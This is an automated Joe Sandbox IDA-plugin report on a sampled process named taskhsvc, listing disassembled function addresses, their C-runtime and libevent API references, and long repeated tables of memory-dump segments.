Function 0032EC9C, Relevance: 4.6, APIs: 3, Instructions: 83

APIs

abort.MSVCRT ref: 0032ED00
memset.MSVCRT ref: 0032ED1B

Part of subcall function 0032EE71: free.MSVCRT ref: 0032EF2B
Part of subcall function 0032EE71: free.MSVCRT ref: 0032EF9C
Part of subcall function 0032EE71: __stack_chk_fail.LIBSSP-0 ref: 0032F10C

Part of subcall function 0032D7F2: abort.MSVCRT ref: 0032D854
Part of subcall function 0032D7F2: abort.MSVCRT ref: 0032D893
Part of subcall function 0032D7F2: memcpy.MSVCRT ref: 0032D8AD
Part of subcall function 0032D7F2: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,001F57C7), ref: 0032D8C0

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 0032BEDA: abort.MSVCRT ref: 0032BF43
Part of subcall function 0032BEDA: abort.MSVCRT ref: 0032BFE0
Part of subcall function 0032BEDA: __stack_chk_fail.LIBSSP-0 ref: 0032C220

Part of subcall function 0032EDE0: free.MSVCRT ref: 0032EE34
Part of subcall function 0032EDE0: __stack_chk_fail.LIBSSP-0 ref: 0032EE6A

__stack_chk_fail.LIBSSP-0 ref: 0032EDD9

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 003255C5, Relevance: 4.6, APIs: 3, Instructions: 73

APIs

abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00312E2F), ref: 00325635
_write.MSVCRT ref: 00325691
__stack_chk_fail.LIBSSP-0 ref: 003256C2

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001E91DB, Relevance: 4.6, APIs: 3, Instructions: 71

APIs

Part of subcall function 00321144: memset.MSVCRT ref: 0032117D
Part of subcall function 00321144: __stack_chk_fail.LIBSSP-0 ref: 00321190

abort.MSVCRT ref: 001E9241
time.MSVCRT ref: 001E9250

Part of subcall function 001E955F: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,???,?,001E91A2), ref: 001E969B

Part of subcall function 001E60BF: __stack_chk_fail.LIBSSP-0 ref: 001E60E6

__stack_chk_fail.LIBSSP-0 ref: 001E92DE

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 0033434A, Relevance: 4.6, APIs: 3, Instructions: 63

APIs

abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,002DEE90), ref: 003343B0

Part of subcall function 00333FC6: abort.MSVCRT ref: 00334024
Part of subcall function 00333FC6: abort.MSVCRT ref: 0033407F
Part of subcall function 00333FC6: abort.MSVCRT ref: 003340C1
Part of subcall function 00333FC6: abort.MSVCRT ref: 0033411F
Part of subcall function 00333FC6: abort.MSVCRT ref: 003341E9
Part of subcall function 00333FC6: __stack_chk_fail.LIBSSP-0 ref: 0033422C

memcpy.MSVCRT ref: 00334405
__stack_chk_fail.LIBSSP-0 ref: 00334423

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00325C4C, Relevance: 4.5, APIs: 3, Instructions: 47

APIs

strchr.MSVCRT ref: 00325C82

Part of subcall function 00323938: free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,0021FF97), ref: 00323967
Part of subcall function 00323938: __stack_chk_fail.LIBSSP-0 ref: 003239A8

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

strlen.MSVCRT ref: 00325CC4

Part of subcall function 00326865: __stack_chk_fail.LIBSSP-0 ref: 003268C7

__stack_chk_fail.LIBSSP-0 ref: 00325CF3

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001EEBE4, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 163

APIs

Part of subcall function 00319B0B: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,003145AC), ref: 00319B69

Part of subcall function 0021F792: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00206074), ref: 0021F7B2

Part of subcall function 0025B75C: __stack_chk_fail.LIBSSP-0 ref: 0025B790

Part of subcall function 0025B797: __stack_chk_fail.LIBSSP-0 ref: 0025B7F8

Part of subcall function 0025B7FF: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,001EEC58), ref: 0025B86C

Part of subcall function 001C21C4: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,001F73A0), ref: 001C21F7

Part of subcall function 001F2D31: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,001E9B3E), ref: 001F2DCE

Part of subcall function 00230EF1: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,0025B4EC,?,?,?,?,?,?,?,?,?,001C424C), ref: 00230F24

Part of subcall function 001EE76C: strcmp.MSVCRT ref: 001EE905
Part of subcall function 001EE76C: abort.MSVCRT ref: 001EEA71
Part of subcall function 001EE76C: free.MSVCRT ref: 001EEB46
Part of subcall function 001EE76C: free.MSVCRT ref: 001EEB67
Part of subcall function 001EE76C: __stack_chk_fail.LIBSSP-0 ref: 001EEBD6

Part of subcall function 001E8CDE: __stack_chk_fail.LIBSSP-0 ref: 001E8DE1

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

__stack_chk_fail.LIBSSP-0 ref: 001EEE36

Part of subcall function 00319D53: __stack_chk_fail.LIBSSP-0 ref: 00319DB3

Part of subcall function 001EA631: __stack_chk_fail.LIBSSP-0 ref: 001EA800

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319B70: free.MSVCRT ref: 00319BA5
Part of subcall function 00319B70: free.MSVCRT ref: 00319BC7
Part of subcall function 00319B70: __stack_chk_fail.LIBSSP-0 ref: 00319BE1

Part of subcall function 0025D0FB: __stack_chk_fail.LIBSSP-0 ref: 0025D187

Strings

Z, xrefs: 001EEDA4

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001F0BA7, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 123

APIs

Part of subcall function 001F3AFF: __stack_chk_fail.LIBSSP-0 ref: 001F3C1F

Part of subcall function 001C22CB: abort.MSVCRT ref: 001C231B
Part of subcall function 001C22CB: event_pending.LIBEVENT-2-0-5 ref: 001C2351
Part of subcall function 001C22CB: __stack_chk_fail.LIBSSP-0 ref: 001C2371

__stack_chk_fail.LIBSSP-0 ref: 001F0D39

Part of subcall function 001F3521: abort.MSVCRT ref: 001F3577
Part of subcall function 001F3521: __stack_chk_fail.LIBSSP-0 ref: 001F36AB

Part of subcall function 001F1659: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,001C32C4), ref: 001F1688

Part of subcall function 001F37CE: abort.MSVCRT ref: 001F381E
Part of subcall function 001F37CE: __stack_chk_fail.LIBSSP-0 ref: 001F398D

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 001E3DED: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,001C1825), ref: 001E3E14

Part of subcall function 001C2C57: abort.MSVCRT ref: 001C2CA7
Part of subcall function 001C2C57: abort.MSVCRT ref: 001C2CEE
Part of subcall function 001C2C57: abort.MSVCRT ref: 001C2D70
Part of subcall function 001C2C57: __stack_chk_fail.LIBSSP-0 ref: 001C2D81

Part of subcall function 00325435: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,001F0905), ref: 00325455

Part of subcall function 001EF888: __stack_chk_fail.LIBSSP-0 ref: 001EFBD5

Strings

], xrefs: 001F0CA1

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
